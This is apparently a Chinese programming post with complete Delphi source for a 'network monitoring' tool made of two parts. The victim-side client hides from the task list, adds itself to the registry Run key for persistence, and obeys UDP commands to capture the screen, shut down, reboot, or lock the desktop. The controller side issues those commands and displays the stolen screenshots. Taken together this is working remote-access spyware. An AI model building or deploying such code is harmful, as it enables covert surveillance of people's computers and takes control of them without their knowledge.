Delphi：网络监控

客户端：用的是nmudp控件
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, NMUDP,Registry;

type
TClient = class(TForm)
CUDP: TNMUDP;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);

private
// procedure add;
{ Private declarations }
public
{ Public declarations }
end;

var
Client: TClient;

implementation

{$R *.dfm}
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数}
function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord;
stdcall; external ’KERNEL32.DLL’;

procedure ScreenCap(LeftPos,TopPos,RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC(’DISPLAY’,’’,’’,nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
procedure add;//写入注册表自动运行
var
reg:TRegistry;
begin
reg:=TRegistry.create;
try
reg.RootKey:=HKEY_CURRENT_USER;
IF reg.openkey(’software\microsoft\windows\currentversion\run’,true) then
reg.WriteString(’MyApp’,’”’ + ParamStr(0) + ’”’);

finally
reg.CloseKey;
reg.Free;
end;
end;

procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
RegisterServiceProcess(GetCurrentProcessID,1);//在任务栏隐藏
add;
end;

procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;

end;

procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’shut’ then ExitWindowsEx(EWX_SHUTDOWN,0);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’rset’ then ExitWindowsEx(EWX_REBOOT,0);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’lack’ then enablewindow(getdesktopwindow,false);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’unlo’ then enablewindow(getdesktopwindow,true);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’show’ then
begin { 控制码前4位为”show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发，必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)
-Pos(’:’,TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)-
Pos(’:’,TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(’:’,TmpStr
)+1,Length(TmpStr)-Pos(’:’,TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;


end;

end.
服务器端
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,shellapi, NMUDP;
const wmicb=wmuser+1000;
type
TServer = class(TForm)
SUDP: TNMUDP;
Panel1: TPanel;
Image1: TImage;
ScrollBar1: TScrollBar;
ScrollBar2: TScrollBar;
Panel2: TPanel;
Button1: TButton;
Button2: TButton;
CheckBox1: TCheckBox;
CheckBox2: TCheckBox;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
CheckBox5: TCheckBox;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Panel3: TPanel;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure SUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure Button2Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ScrollBar1Change(Sender: TObject);
procedure ScrollBar2Change(Sender: TObject);
procedure ScrollBar1Scroll(Sender: TObject; ScrollCode: TScrollCode;
var ScrollPos: Integer);
procedure CheckBox1Click(Sender: TObject);
procedure CheckBox2Click(Sender: TObject);
procedure CheckBox4Click(Sender: TObject);
procedure CheckBox3Click(Sender: TObject);
procedure CheckBox5Click(Sender: TObject);
private
Units: TPoint;
myicon:TNotifyicondata;
procedure wmicb(var msg:TMessage);message wm_icb;
procedure ScrollReset;
{ Private declarations }
public
{ Public declarations }
end;

var
Server: TServer;

implementation

{$R *.dfm}
const BufSize=2048;
DEF_SCROLL_UNITS=8;
var
RsltStream,TmpStream:TMemoryStream;
procedure display;
begin


Server.visible:=not Server.visible;
application.ShowMainForm:=Server.visible;
setforegroundwindow(application.handle);
end;



procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
myicon.cbSize:=sizeof(TNotifyicondata);
myicon.Wnd:=handle;
myicon.uID:=1;
myicon.uFlags:=nif_message or nif_tip or nif_icon;
myicon.uCallbackMessage:=wm_icb;
myicon.hIcon:=application.Icon.Handle;
myicon.szTip:=’黄金眼 V1.0’;
shell_notifyicon(nim_add,@myicon);
setwindowlong(application.handle,gwl_exstyle,ws_ex_toolwindow );
end;

procedure TServer.Button1Click(Sender: TObject);

var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
if checkbox1.Checked then
begin
ReqCodeStr:=’show’+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end
else if checkbox2.Checked then
begin
ReqCodeStr:=’shut’;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end
else if checkbox3.Checked then
begin
ReqCodeStr:=’rset’;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end
else if checkbox4.Checked then
begin
ReqCodeStr:=’lack’;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end
else if checkbox5.Checked then
begin
ReqCodeStr:=’unlo’ ;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end
end;

procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);

var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:=’show’+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;

ScrollReset;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:=’show’;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

end;

procedure TServer.Button2Click(Sender: TObject);
begin
close();
end;
procedure TServer.wmicb(var msg:TMessage);
var tcwz:TPoint;
begin
case msg.LParam of
wm_lbuttonup:
display;
wm_rbuttonup:
begin
getcursorpos(tcwz);

end;
end;
end;

procedure TServer.FormDestroy(Sender: TObject);
begin
shell_notifyicon(nim_delete,@myicon);
end;

procedure TServer.ScrollBar1Change(Sender: TObject);
begin
Image1.left := -Units.y * ScrollBar1.Position;

end;

procedure TServer.ScrollBar2Change(Sender: TObject);
begin
Image1.top := -Units.y* ScrollBar2.Position

end;
procedure TServer.ScrollReset;
begin
Units.x := DEF_SCROLL_UNITS;
Units.y := DEF_SCROLL_UNITS;
if Image1.Picture <> nil then
begin
Image1.Top := 0;
Image1.Left := 0;
ScrollBar2.Position := 0;
ScrollBar1.Position := 0;
ScrollBar2.Min := 0;
ScrollBar1.Min := 0;
ScrollBar2.Visible := True;
ScrollBar1.Visible := True;
end;
end;

procedure TServer.ScrollBar1Scroll(Sender: TObject;
ScrollCode: TScrollCode; var ScrollPos: Integer);
begin
image1.Left :=-Units.X*ScrollPos
end;

procedure TServer.CheckBox1Click(Sender: TObject);
begin
panel3.Caption :=’截取客户机屏幕’;
end;

procedure TServer.CheckBox2Click(Sender: TObject);
begin
panel3.Caption :=’远程关闭客户机’;
end;

procedure TServer.CheckBox4Click(Sender: TObject);
begin
panel3.Caption :=’ 远程锁定客户机’;
end;

procedure TServer.CheckBox3Click(Sender: TObject);
begin
panel3.Caption :=’远程重起客户机’;
end;

procedure TServer.CheckBox5Click(Sender: TObject);
begin
panel3.Caption :=’远程解锁客户机’;
end;

end.